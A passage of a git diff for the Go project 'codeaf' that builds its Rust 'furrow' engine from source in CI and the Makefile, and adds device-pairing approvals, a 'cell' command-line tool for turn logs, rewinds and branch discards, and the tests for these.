diff --git a/.github/workflows/ci-full.yml b/.github/workflows/ci-full.yml index b5d18f54c0..ed4efe6108 100644 --- a/.github/workflows/ci-full.yml +++ b/.github/workflows/ci-full.yml @@ -252,6 +252,11 @@ jobs: with: go-version-file: go.mod cache: true + - name: Build furrow from engine/ + working-directory: engine + run: | + rustup show active-toolchain || rustup toolchain install + cargo build --release --locked -p furrow-cli - name: Weigh the binary run: | set -euo pipefail diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 37a9e68ece..f87fb6d35e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -73,6 +73,11 @@ jobs: with: go-version-file: go.mod cache: true + - name: Build furrow from engine/ + working-directory: engine + run: | + rustup show active-toolchain || rustup toolchain install + cargo build --release --locked -p furrow-cli # Several sessions work this tree at once and a half-finished file breaks # the build for everyone. This is the cheapest way to find that out, and diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e0cb29d524..eedf30c4f4 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -212,6 +212,11 @@ jobs: with: go-version-file: go.mod cache: true + - name: Build furrow from engine/ + working-directory: engine + run: | + rustup show active-toolchain || rustup toolchain install + cargo build --release --locked -p furrow-cli - name: Build all targets with their furrow env: TAG: ${{ needs.prepare.outputs.tag }} @@ -236,6 +241,10 @@ jobs: if [ "$goos" = "windows" ]; then rm -f internal/furrowbin/cache/furrow-*.gz extension=".exe" + elif [ "$goos/$goarch" = "linux/amd64" ]; then + # The runner's own platform is the one furrow is built for here. + env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ + -goos "$goos" -goarch "$goarch" -built engine/target/release/furrow else env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ -goos "$goos" -goarch "$goarch" diff --git a/.gitignore b/.gitignore index 120deb43b2..58ca9f1128 100644 --- a/.gitignore +++ b/.gitignore @@ -41,3 +41,7 @@ internal/manual/pages.pack.gz .furrow/ bench/idle-surface/runs/ work/ + +# hosted relay dev install (wrangler, miniflare) +relay/hosted/node_modules +relay/hosted/.wrangler/ diff --git a/Makefile b/Makefile index 32e34be07e..a3bae7798f 100644 --- a/Makefile +++ b/Makefile @@ -2,7 +2,7 @@ # anywhere else — so a stale copy can't shadow a fresh one. BINARY := bin/codeaf -.PHONY: all build build-check build-cross debug demo-home clean-run embed manual-pack-law furrow test test-focus test-report test-quick test-tooling test-touched test-touched-preflight pr-ready test-laws fmt-check test-packed-manual manual-gates test-remote test-e2e test-e2e-tui vet check size clean \ +.PHONY: all build build-check build-cross debug demo-home clean-run embed manual-pack-law furrow furrow-fetch furrow-source test test-focus test-report test-quick test-tooling test-touched test-touched-preflight pr-ready test-laws fmt-check test-packed-manual manual-gates test-remote test-e2e test-e2e-tui vet check size clean \ changelog changelog-new changelog-check changelog-preview # What the shipped binary is allowed to weigh, in bytes, checked in beside the @@ -72,11 +72,28 @@ embed: manual-pack-law FURROW_GOOS := $(shell go env GOOS) FURROW_GOARCH := $(shell go env GOARCH) -furrow: +# WHERE THE FURROW COMES FROM. engine/ is furrow's source, so a machine with +# cargo builds it and embeds exactly that. The pinned release is the road for +# everyone else: a machine without cargo, a cross-compile (cargo here builds for +# the host only), or an explicit FURROW_ARTIFACT. Force it with FURROW_FROM=fetch +# or FURROW_FROM=source. +FURROW_HOST := $(shell go env GOHOSTOS)-$(shell go env GOHOSTARCH) +FURROW_NATIVE := $(and $(shell command -v cargo),$(filter $(FURROW_HOST),$(FURROW_GOOS)-$(FURROW_GOARCH)),$(if $(FURROW_ARTIFACT),,yes)) +FURROW_FROM ?= $(if $(FURROW_NATIVE),source,fetch) +FURROW_BIN := engine/target/release/furrow + +furrow: furrow-$(FURROW_FROM) + +furrow-fetch: @env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ -goos=$(FURROW_GOOS) -goarch=$(FURROW_GOARCH) \ $(if $(FURROW_ARTIFACT),-from "$(FURROW_ARTIFACT)") +furrow-source: + cd engine && cargo build --release --locked -p furrow-cli + @env -u GOOS -u GOARCH go run ./internal/furrowbin/cmd/fetch \ + -goos=$(FURROW_GOOS) -goarch=$(FURROW_GOARCH) -built $(FURROW_BIN) + # The symbol table and DWARF are a third of the shipped binary and nothing at # runtime reads them. Stripping costs symbolized panic traces, which is exactly # what `debug` keeps — build that when a stack trace is what you need. diff --git a/THIRD-PARTY-NOTICES.md b/THIRD-PARTY-NOTICES.md index 312ba56c9c..4e5e23aa1f 100644 --- a/THIRD-PARTY-NOTICES.md +++ b/THIRD-PARTY-NOTICES.md @@ -809,6 +809,29 @@ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` +## github.com/coder/websocket + +- Version: v1.8.15 +- Licence: not determined + +### LICENSE.txt + +```text +Copyright (c) 2025 Coder + +Permission to use, copy, modify, and distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. +``` + ## github.com/dlclark/regexp2/v2 - Version: v2.5.2 diff --git a/cmd/codeaf/approvals.go b/cmd/codeaf/approvals.go new file mode 100644 index 0000000000..ed15600eb0 --- /dev/null +++ b/cmd/codeaf/approvals.go @@ -0,0 +1,232 @@ +package main + +// The chat's door onto answering new devices and keeping the device list: what +// the approve screen and `/devices` reach through tui3.Approvals. It is the +// same Approver and signed directory `codeaf pair approve` uses, pointed at +// this computer's home, so the terminal and the app cannot disagree. + +import ( + "context" + "errors" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// approvalsDoor is the surface's tui3.Approvals. +type approvalsDoor struct { + dir string + mailbox func(relayFlag string) (pair.Mailbox, error) + approver func(pair.Mailbox) (pair.Approver, error) + + mu sync.Mutex + asking map[string]pair.Asking // by code: what Pending read, for the answer +} + +var _ tui3.Approvals = (*approvalsDoor)(nil) + +func newApprovalsDoor(dir string) *approvalsDoor { + return &approvalsDoor{dir: dir, mailbox: pairMailbox, approver: linkApprover(dir), asking: map[string]pair.Asking{}} +} + +// toldLine is a refusal said in the sentence every sync surface uses for it, and +// it still is the refusal for errors.Is. +type toldLine struct { + line string + err error +} + +func (e toldLine) Error() string { return e.line } +func (e toldLine) Unwrap() error { return e.err } + +// told puts the relay's refusals (a stopped computer, a clock that is off) in +// the words a person reads, so a screen that lists devices says why it cannot, +// and the sentence is the one the chat list and the sync notice already say. +// Anything that is not a refusal is returned as it came. +func told(err error) error { + if refusal, ok := cellsync.RefusalOf(err); ok { + return toldLine{line: refusal.Say(err), err: err} + } + return err +} + +func (d *approvalsDoor) who() (pair.Approver, error) { + route, err := d.mailbox("") + if err != nil { + return pair.Approver{}, err + } + return d.approver(route) +} + +func (d *approvalsDoor) Pending(ctx context.Context, typed string) (tui3.PendingDevice, error) { + ref, err := pair.ReadLink(typed) + if err != nil { + return tui3.PendingDevice{}, err + } + who, err := d.who() + if err != nil { + return tui3.PendingDevice{}, err + } + as, err := who.Look(ctx, ref) + if err != nil { + return tui3.PendingDevice{}, told(err) + } + d.remember(as) + return pendingOf(as), nil +} + +func pendingOf(as pair.Asking) tui3.PendingDevice { + return tui3.PendingDevice{ + Code: as.Ref.Code, Device: as.DeviceID(), Name: as.Name, Platform: as.Platform, + Check: as.Check, RequestedAt: as.RequestedAt, ExpiresAt: as.ExpiresAt, + } +} + +func (d *approvalsDoor) remember(as pair.Asking) { + d.mu.Lock() + defer d.mu.Unlock() + d.asking[as.Ref.Code] = as +} + +func (d *approvalsDoor) recall(p tui3.PendingDevice) (pair.Asking, error) { + d.mu.Lock() + defer d.mu.Unlock() + as, ok := d.asking[p.Code] + if !ok { + return pair.Asking{}, pair.ErrLinkGone + } + return as, nil +} + +func (d *approvalsDoor) Approve(ctx context.Context, p tui3.PendingDevice) error { + return d.answer(p, func(who pair.Approver, as pair.Asking) error { + return errors.Join(who.Approve(ctx, as), identity.EndSolo(d.dir)) + }) +} + +func (d *approvalsDoor) Deny(ctx context.Context, p tui3.PendingDevice) error { + return d.answer(p, func(who pair.Approver, as pair.Asking) error { return who.Deny(ctx, as) }) +} + +// answer runs one decision on the request Pending read, and forgets it after. +func (d *approvalsDoor) answer(p tui3.PendingDevice, decide func(pair.Approver, pair.Asking) error) error { + as, err := d.recall(p) + if err != nil { + return err + } + who, err := d.who() + if err != nil { + return err + } + if err := decide(who, as); err != nil { + return told(err) + } + d.forget(p.Code) + return nil +} + +func (d *approvalsDoor) forget(code string) { + d.mu.Lock() + defer d.mu.Unlock() + delete(d.asking, code) +} + +// home is this computer's signed directory, its identity and its device id. +func (d *approvalsDoor) home() (directory.Client, identity.Identity, string, error) { + route, err := d.mailbox("") + if err != nil { + return nil, identity.Identity{}, "", err + } + client, id, err := homeDirectory(d.dir, route) + if err != nil { + return nil, id, "", err + } + dev, err := identity.Device(d.dir) + return client, id, dev.ID(), err +} + +func (d *approvalsDoor) Devices(ctx context.Context) ([]tui3.DeviceRow, error) { + client, id, self, err := d.home() + if err != nil { + return nil, err + } + listing, err := client.List(ctx) + if err != nil { + return nil, told(err) + } + rows := rowsOf(listing, directory.MetadataKey(id.CellKey()), self) + if own, named := devname.Chosen(d.dir); named { + rows = withOwnName(rows, own) + } + return rows, nil +} + +// withOwnName puts this computer's own name on its own row. The directory holds +// the name this computer last managed to tell it, which is the old one for a +// person who renamed offline; the name kept here is the one they typed. +func withOwnName(rows []tui3.DeviceRow, own string) []tui3.DeviceRow { + for i := range rows { + if rows[i].Self { + rows[i].Name = own + } + } + return rows +} + +func rowsOf(l directory.Listing, key []byte, self string) []tui3.DeviceRow { + rows := make([]tui3.DeviceRow, 0, len(l.Devices)) + for id, dev := range l.Devices { + rows = append(rows, rowOf(id, dev, key, self)) + } + sort.Slice(rows, func(i, j int) bool { + return rows[i].Name < rows[j].Name || (rows[i].Name == rows[j].Name && rows[i].ID < rows[j].ID) + }) + return rows +} + +func rowOf(id string, dev directory.Device, key []byte, self string) tui3.DeviceRow { + row := tui3.DeviceRow{ID: id, Name: openName(key, dev.Name), Platform: dev.Platform, Self: id == self, Revoked: dev.Revoked} + if dev.LastSeen > 0 { + row.LastSeen = time.UnixMilli(dev.LastSeen) + } + return row +} + +// openName is a sealed name in words, and "a device" when it cannot be opened. +func openName(key []byte, sealed string) string { + if name, err := directory.OpenName(key, sealed); err == nil && strings.TrimSpace(name) != "" { + return devname.Shown(name) + } + return "a device" +} + +func (d *approvalsDoor) Revoke(ctx context.Context, id string) error { + client, _, _, err := d.home() + if err != nil { + return err + } + return told(client.Revoke(ctx, id)) +} + +func (d *approvalsDoor) DeviceName(sealed string) string { + id, err := identity.Load(d.dir) + if err != nil { + return "a new device" + } + return openName(directory.MetadataKey(id.CellKey()), sealed) +} + +// Rename names this computer. It is the door's one write of its own record: the +// same function `codeaf devices rename` runs, so the two cannot say different +// things. +func (d *approvalsDoor) Rename(ctx context.Context, typed string) (string, error) { + return renameThisDevice(ctx, d.dir, typed) +} diff --git a/cmd/codeaf/approvals_test.go b/cmd/codeaf/approvals_test.go new file mode 100644 index 0000000000..624d47c06b --- /dev/null +++ b/cmd/codeaf/approvals_test.go @@ -0,0 +1,155 @@ +package main + +import ( + "context" + "net/http" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/pairbox" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// doorAt is the production Approvals door for one home of the rig. +func (r *pairRig) approvalsAt(home string) *approvalsDoor { + d := newApprovalsDoor(home) + d.mailbox = func(string) (pair.Mailbox, error) { + return pair.Mailbox{Box: pairbox.NewHTTP(r.url, &http.Client{Timeout: time.Minute}), URL: r.url, Host: "relay.test"}, nil + } + d.approver = linkApprover(home) + return d +} + +// enrol writes the first computer's own record, as its first sync does. +func (r *pairRig) enrol(t *testing.T, door *approvalsDoor, name string) { + t.Helper() + client, id, self, err := door.home() + if err != nil { + t.Fatal(err) + } + sealed, err := directory.SealName(directory.MetadataKey(id.CellKey()), name) + if err != nil { + t.Fatal(err) + } + dev := directory.Device{V: 1, Name: sealed, AddedBy: id.ID(), Platform: "linux"} + if err := client.PutDevice(context.Background(), self, dev); err != nil { + t.Fatal(err) + } +} + +// A link pasted on device A is read, approved through the door, and B joins; +// then the list names both, A is Self, and Revoke stops B. +func TestApprovalsDoorApprovesListsAndRevokes(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, `https://codeaf\.agentfield\.ai/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + ctx := context.Background() + rig.enrol(t, door, "this computer") + + p, err := door.Pending(ctx, link) + if err != nil { + t.Fatal(err) + } + if p.Name != "laptop" || p.Platform != "linux" || len(p.Check) != 4 || p.Device == "" { + t.Fatalf("pending = %+v", p) + } + if err := door.Approve(ctx, p); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + if first, _ := identity.Load(rig.homeA); first.ID() == "" { + t.Fatal("no identity") + } + + rows, err := door.Devices(ctx) + if err != nil || len(rows) != 2 { + t.Fatalf("devices = %+v, %v", rows, err) + } + var self, joined *tui3.DeviceRow + for i := range rows { + if rows[i].Self { + self = &rows[i] + } else { + joined = &rows[i] + } + } + if self == nil || joined == nil || joined.ID != p.Device || joined.Name != "laptop" || self.Name != "this computer" { + t.Fatalf("rows = %+v, want one self and the joined %s", rows, p.Device) + } + if err := door.Revoke(ctx, p.Device); err != nil { + t.Fatal(err) + } + rows, _ = door.Devices(ctx) + for _, row := range rows { + if row.ID == p.Device && !row.Revoked { + t.Fatalf("revoked device still listed in: %+v", row) + } + } +} + +// Deny turns the asker away, and a decided request cannot be answered again. +func TestApprovalsDoorDeny(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, `https://codeaf\.agentfield\.ai/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + p, err := door.Pending(context.Background(), link) + if err != nil { + t.Fatal(err) + } + if err := door.Deny(context.Background(), p); err != nil { + t.Fatal(err) + } + if err := <-done; err == nil { + t.Fatal("the new device was let in after a deny") + } + if err := door.Approve(context.Background(), p); err == nil { + t.Fatal("answered twice") + } +} + +func TestApprovalsDoorRefusesAWrongLink(t *testing.T) { + rig := newPairRig(t) + if _, err := rig.approvalsAt(rig.homeA).Pending(context.Background(), "nope"); err == nil { + t.Fatal("a bad link was read") + } +} + +// A computer that another of the person's computers stopped is told so, in the +// one sentence every sync surface uses, by the screens that list devices. +func TestApprovalsDoorTellsAStoppedComputerItWasStopped(t *testing.T) { + rig := newPairRig(t) + screen, done := rig.asking(t) + link := screen.waitFor(t, `https://codeaf\.agentfield\.ai/p/\S+#\S+`)[0] + door := rig.approvalsAt(rig.homeA) + ctx := context.Background() + rig.enrol(t, door, "this computer") + p, err := door.Pending(ctx, link) + if err != nil { + t.Fatal(err) + } + if err := door.Approve(ctx, p); err != nil { + t.Fatal(err) + } + if err := <-done; err != nil { + t.Fatal(err) + } + if err := door.Revoke(ctx, p.Device); err != nil { + t.Fatal(err) + } + + stopped := rig.approvalsAt(rig.homeB) + if _, err := stopped.Devices(ctx); err == nil || err.Error() != chatlist.Removed { + t.Fatalf("the stopped computer's device list said %v, want %q", err, chatlist.Removed) + } + if err := stopped.Revoke(ctx, p.Device); err == nil || err.Error() != chatlist.Removed { + t.Fatalf("the stopped computer's revoke said %v, want %q", err, chatlist.Removed) + } +} diff --git a/cmd/codeaf/beltdoors_test.go b/cmd/codeaf/beltdoors_test.go index 2f0c7af047..0d24788b11 100644 --- a/cmd/codeaf/beltdoors_test.go +++ b/cmd/codeaf/beltdoors_test.go @@ -27,20 +27,24 @@ import ( // a command that scrolled off a person's screen. // Part A's terminal connect door adds its two required forms and descriptions. // The cap moves by exactly those seven lines; unrelated help growth still fails. -const helpLineCap = 117 +// The pairing door adds its two forms and their descriptions, four lines more. +const helpLineCap = 121 // doorsOffThePage are the command words main.go dispatches that `codeaf --help` // deliberately does NOT name, so the check below does not demand a line for // them: // -// - `engine` and `tick` are machinery a surface dials, not things a person +// - `engine`, `tick`, `cell` and `identity` are machinery a surface dials, not things a person // runs by hand; main.go says so where it dispatches them and // internal/manual's running-from-the-terminal page says so again. +// - `relay` is the program whoever hosts a relay runs (`codeaf relay --listen +// :8787 --store `, the same relayserve.Main as cmd/relay); nobody types +// it in a conversation, and internal/manual's reaching-this-machine page names it. // - `show` and `revise` are the old top-level spellings of `plan show` and // `plan revise`; the page names the commands they became. // - `help` is the alias for `--help` itself. var doorsOffThePage = map[string]bool{ - "engine": true, "tick": true, "show": true, "revise": true, "help": true, + "engine": true, "tick": true, "cell": true, "identity": true, "relay": true, "show": true, "revise": true, "help": true, } // THE FIRST GESTURE ON AN UNFAMILIAR DOOR IS `-h`, and it must not be a diff --git a/cmd/codeaf/carried.go b/cmd/codeaf/carried.go index 90ed2e2e47..424c000d4a 100644 --- a/cmd/codeaf/carried.go +++ b/cmd/codeaf/carried.go @@ -109,7 +109,7 @@ func runCarried(program delegate.Delegate, args []string) error { // to its jobs as it exits — is ignored rather than allowed to kill that // finishing halfway. func carriedSignals() (context.Context, context.CancelFunc) { - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM, syscall.SIGHUP) + ctx, stop := signal.NotifyContext(hostSeated(context.Background()), os.Interrupt, syscall.SIGTERM, syscall.SIGHUP) context.AfterFunc(ctx, func() { signal.Ignore(syscall.SIGHUP) stop() diff --git a/cmd/codeaf/cell.go b/cmd/codeaf/cell.go new file mode 100644 index 0000000000..75c23f1b98 --- /dev/null +++ b/cmd/codeaf/cell.go @@ -0,0 +1,240 @@ +package main + +import ( + "context" + "errors" + "fmt" + "io" + "os" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +const cellUsage = "usage: codeaf cell log [] | codeaf cell rewind [] | codeaf cell resolve [] | codeaf cell discard [] | codeaf cell gc [--dry-run] | codeaf cell list --all | codeaf cell report [] [--export ]" + +// cellVerb is one word after `cell`: how many arguments of its own it takes +// before the optional cell name, and what it does to the cell. A verb that is +// about every cell on the device (wide) takes no cell name and gets all its +// arguments. +type cellVerb struct { + args int + wide bool + flag string // a value-taking flag the verb owns; its value is passed after the positional arguments + run func(c cell.Cell, args []string, out io.Writer) error +} + +var cellVerbs = map[string]cellVerb{ + "log": {args: 0, run: cellLog}, + "rewind": {args: 1, run: cellRewind}, + "resolve": {args: 0, run: cellResolve}, + "discard": {args: 1, run: cellDiscard}, + "gc": {wide: true, run: cellGC}, + "list": {wide: true, run: cellListVerb}, + "report": {args: 0, flag: "--export", run: cellReport}, +} + +// runCell is the stage 0 door onto a cell's turn chain. Like `engine` it is +// machinery, not on the help page, until cells are the default. +func runCell(args []string) error { + cwd, _ := os.Getwd() + return runCellIn(args, os.Stdout, cwd) +} + +// runCellIn is runCell with the writer and the working directory injectable. +func runCellIn(args []string, out io.Writer, cwd string) error { + if len(args) == 0 { + return errors.New(cellUsage) + } + verb, ok := cellVerbs[args[0]] + rest := args[1:] + if ok && verb.wide { + return verb.run(cell.Cell{}, rest, out) + } + rest, flagged, err := takeFlag(rest, verb.flag) + if err != nil { + return err + } + if !ok || len(rest) < verb.args || len(rest) > verb.args+1 { + return errors.New(cellUsage) + } + c, err := openCellNamed(strings.Join(rest[verb.args:], ""), cwd) + if err != nil { + return err + } + return verb.run(c, append(rest[:verb.args:verb.args], flagged...), out) +} + +// takeFlag removes ` ` from args and answers the value, so the +// positional arguments that are left can be counted. An empty flag takes nothing. +func takeFlag(args []string, flag string) (rest, value []string, err error) { + for i, a := range args { + if flag == "" || a != flag { + continue + } + if i+1 >= len(args) { + return nil, nil, fmt.Errorf("%s needs a file name", flag) + } + return append(append([]string{}, args[:i]...), args[i+2:]...), args[i+1 : i+2], nil + } + return args, nil, nil +} + +// openCellNamed opens the cell an id or a folder path names, or, with no name, +// the cell the working directory is inside. +func openCellNamed(name, cwd string) (cell.Cell, error) { + switch { + case name == "": + return openCellAbove(cwd) + case cell.ValidID(name): + return openCellByID(name) + } + return openCellAbove(name) +} + +// openCellByID finds a cell by id where a chat keeps it: in the project bucket +// its workspace names, or in the flat cells directory of cell.Create. +func openCellByID(id string) (cell.Cell, error) { + buckets, _ := filepath.Glob(filepath.Join(home.Join("v3", "projects"), "*", id)) + for _, dir := range append(buckets, filepath.Join(cell.Dir(home.Dir()), id)) { + if c, err := cell.OpenAt(dir, id); err == nil { + return c, nil + } + } + return cell.Open(home.Dir(), id) +} + +func openCellAbove(dir string) (cell.Cell, error) { + for d := dir; ; d = filepath.Dir(d) { + if _, err := os.Stat(filepath.Join(d, filepath.FromSlash(cell.MetaPath))); err == nil { + return cell.OpenAt(d, filepath.Base(d)) + } + if filepath.Dir(d) == d { + return cell.Cell{}, fmt.Errorf("no cell at or above %s; name one by id or folder", dir) + } + } +} + +// cellLog prints one line per turn, newest first: id, parent, time, trigger, +// tools (an external call is marked), receipt. +func cellLog(c cell.Cell, _ []string, out io.Writer) error { + entries, err := cellstore.Log(c) + if err != nil { + return err + } + for _, e := range entries { + if e.IsAdopted { + fmt.Fprintf(out, "%s %s sealed on %s\n", short(e.Turn.ID), orDash(short(e.Turn.Parent)), orDefault(e.Adopted, "another device")) + continue + } + fmt.Fprintf(out, "%s %s %s %s %s %s\n", short(e.Turn.ID), orDash(short(e.Turn.Parent)), + time.UnixMilli(e.Turn.SealedAtMs).UTC().Format("2006-01-02T15:04:05Z"), + e.Turn.Trigger, toolSummary(e.Receipt), short(e.Turn.Receipt)) + } + return writeGaps(c, out) +} + +// writeGaps marks what the chain cannot show yet: calls that began and never +// finished, and calls that finished and were never sealed. The second is the +// gap a failing seal leaves, and it stays in the call log until a seal holds, +// so it is still here after the session that hit it is gone. +func writeGaps(c cell.Cell, out io.Writer) error { + _, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return err + } + writeUnsealed(rec.Completed, out) + writeUnfinishedOf(rec.Incomplete, out) + return nil +} + +// writeUnsealed says how many finished calls no turn holds, and since when. +func writeUnsealed(done []cellstore.Executed, out io.Writer) { + if len(done) == 0 { + return + } + fmt.Fprintf(out, "unsealed %d call(s) since %s not in any turn yet; the next seal that holds takes them\n", len(done), + time.UnixMilli(done[0].Call.Started).UTC().Format("2006-01-02T15:04:05Z")) +} + +// writeUnfinishedOf says which calls began and never finished: a crash left them +// in the call log, and the harness never runs them again on its own. +func writeUnfinishedOf(open []cellstore.Intent, out io.Writer) { + for _, in := range open { + fmt.Fprintf(out, "unfinished %s %s started %s not run again; `codeaf cell resolve` closes it\n", in.Tool, + in.SideEffect, time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } +} + +// cellResolve closes every unfinished call of a cell no session holds, so the +// cell can be rewound again. +func cellResolve(c cell.Cell, _ []string, out io.Writer) error { + if cellBusy(c) { + return fmt.Errorf("a session holds this cell; close it first — %s", heldByEngineHint()) + } + wal, rec, err := cellstore.OpenWAL(cellEngine(c).WALPath(c)) + if err != nil { + return err + } + for _, in := range rec.Incomplete { + if err := wal.Resolve(in); err != nil { + return err + } + fmt.Fprintf(out, "resolved %s started %s\n", in.Tool, time.UnixMilli(in.Started).UTC().Format("2006-01-02T15:04:05Z")) + } + return nil +} + +// cellRewind restores the cell to a turn and prints the turn that records it. +func cellRewind(c cell.Cell, args []string, out io.Writer) error { + sealed, err := cellEngine(c).Rewind(context.Background(), c, args[0]) + if err != nil { + return err + } + _, err = fmt.Fprintf(out, "rewound to %s as new turn %s\n", args[0], short(sealed.Turn.ID)) + return err +} + +// cellEngine is the engine of a cell opened from a verb: built from the +// session place the cell's meta records, exactly as the session's seat builds it. +func cellEngine(c cell.Cell) cellstore.Engine { return cellstore.EngineFor(cellWorkspace(c)) } + +// cellWorkspace is the tree a cell's session seals: its own work/ when the +// session owns its workspace, else the project it borrowed. +func cellWorkspace(c cell.Cell) string { + meta, _ := session.LoadMeta(c.Root) + return v3PlaceFor(c.Root, meta.Workspace, meta.Owned).Workspace +} + +const shortIDLen = 12 + +func short(id string) string { return id[:min(len(id), shortIDLen)] } + +func orDash(s string) string { return orDefault(s, "-") } + +func orDefault(s, otherwise string) string { + if s == "" { + return otherwise + } + return s +} + +func toolSummary(r cellstore.Receipt) string { + tools := make([]string, len(r.Calls)) + for i, call := range r.Calls { + tools[i] = call.Tool + if call.SideEffect == string(executor.EffectExternal) { + tools[i] += "[external]" + } + } + return orDash(strings.Join(tools, ",")) +} + +// cellListVerb adapts cellList to the verb table, which hands every verb a cell. +func cellListVerb(_ cell.Cell, args []string, out io.Writer) error { return cellList(args, out) } diff --git a/cmd/codeaf/cell_branch.go b/cmd/codeaf/cell_branch.go new file mode 100644 index 0000000000..d8bd9f767c --- /dev/null +++ b/cmd/codeaf/cell_branch.go @@ -0,0 +1,88 @@ +package main + +import ( + "context" + "fmt" + "io" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// A death branch (L12) is a cell that holds the turns a chat lost its lease +// with. `codeaf cell discard` lets it go: the branch is archived, not deleted. +// It runs on the device that drives the chat, and proves it still holds the +// lease before it changes anything. +// +// THERE IS NO `cell merge` IN STAGE 1, and none is offered anywhere. Folding a +// branch back needs a merge of two sealed trees, and the engine's merge works +// on a live workspace and a snapshot it holds, not on a branch head that is +// still only in the store; a merge that sealed a wrong head would be worse than +// no merge. The row says `discard` alone, and the manual says the same. + +// driverOf answers how this device drives a chat: its fence and last durable head. +type driverOf interface { + Driving(ctx context.Context, c cell.Cell) (*cellsync.Driving, error) +} + +// branchDoor is everything the verb needs, behind interfaces so tests use fakes. +type branchDoor struct { + Dir directory.Client + Driver driverOf +} + +// openBranchDoor builds the door for a device. Until a device has sync set up +// the verb says so instead of guessing. +var openBranchDoor = func() (branchDoor, error) { + s, err := syncOf() + if err != nil { + return branchDoor{}, err + } + return branchDoor{Dir: s.Dir, Driver: s}, nil +} + +func cellDiscard(c cell.Cell, args []string, out io.Writer) error { + door, err := openBranchDoor() + if err != nil { + return err + } + return door.discard(context.Background(), c, args[0], out) +} + +// discard archives the branch and nothing else. +func (b branchDoor) discard(ctx context.Context, c cell.Cell, branchID string, out io.Writer) error { + if err := b.prove(ctx, c, branchID); err != nil { + return err + } + if err := b.Dir.Archive(ctx, branchID); err != nil { + return err + } + _, err := fmt.Fprintf(out, "discarded %s\n", short(branchID)) + return err +} + +// prove checks that this device holds the chat's lease (a heartbeat with its +// fence, which the directory refuses for a superseded one) and that branchID is +// a live branch of that chat. +func (b branchDoor) prove(ctx context.Context, c cell.Cell, branchID string) error { + d, err := b.Driver.Driving(ctx, c) + if err != nil { + return err + } + parent, err := b.Dir.Cell(ctx, d.ID()) + if err != nil { + return err + } + if _, err := b.Dir.Heartbeat(ctx, d.ID(), directory.Beat{Fence: d.Fence, Pending: parent.Cell.Lease.Pending}); err != nil { + return fmt.Errorf("this device is not the one working on %s: %w", short(d.ID()), err) + } + branch, err := b.Dir.Cell(ctx, branchID) + if err != nil { + return err + } + if branch.Cell.ParentCell != d.ID() || branch.Cell.Archived { + return fmt.Errorf("%s is not a live branch of %s", short(branchID), short(d.ID())) + } + return nil +} diff --git a/cmd/codeaf/cell_branch_test.go b/cmd/codeaf/cell_branch_test.go new file mode 100644 index 0000000000..09914322ea --- /dev/null +++ b/cmd/codeaf/cell_branch_test.go @@ -0,0 +1,163 @@ +package main + +import ( + "bytes" + "context" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +const ( + parentID = "01J0000000000000000000000A" + branchID = "01J0000000000000000000000B" +) + +// branchRig is device A driving a chat whose death branch device B made. +type branchRig struct { + t *testing.T + clock *directorytest.FakeClock + dir *directory.Memory + store *blobstore.Memory + engA *cellsync.FakeEngine + parent cell.Cell + drv *cellsync.Driving + door branchDoor +} + +type fixedDriver struct{ d *cellsync.Driving } + +func (f fixedDriver) Driving(context.Context, cell.Cell) (*cellsync.Driving, error) { return f.d, nil } + +func newBranchRig(t *testing.T) *branchRig { + t.Helper() + ctx := context.Background() + r := &branchRig{t: t, clock: directorytest.NewFakeClock(), store: blobstore.NewMemory(), engA: 